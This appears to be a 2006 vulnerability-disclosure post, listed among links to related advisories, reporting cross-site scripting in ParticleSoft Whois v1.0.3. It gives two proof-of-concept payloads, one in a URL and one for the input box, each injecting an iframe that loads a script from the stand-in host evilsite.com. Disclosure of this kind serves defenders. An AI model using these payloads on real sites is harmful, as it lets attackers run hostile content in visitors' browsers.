Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Calendar Express 2 SQL injection

[SA20465] Coppermine Photo Gallery usermgr.php Unspecified Vulnerability

[SA20475] MiraksGalerie Multiple File Inclusion Vulnerabilities

[SA20436] PyBlosxom Contributed Packages Cross-Site Scripting Vulnerability

From:	luny_(at)_youfucktard.com <luny_(at)_youfucktard.com>
Date:	07.06.2006
Subject:	ParticleSoft Whois v1.0.3

ParticleSoft Whois v1.0.3

Homepage:
http://www.particlesoft.net/particlewhois/

XSS Proof of concept viaurl injection:
http://whois.particlesoft.net/index.php?do=runcheck&target="><ifra
me
src=http://evilsite.com/scriptlet.html <<"&ext=all

XSS Via input box:
"><iframe src=http://evilsite.com/scriptlet.html <<"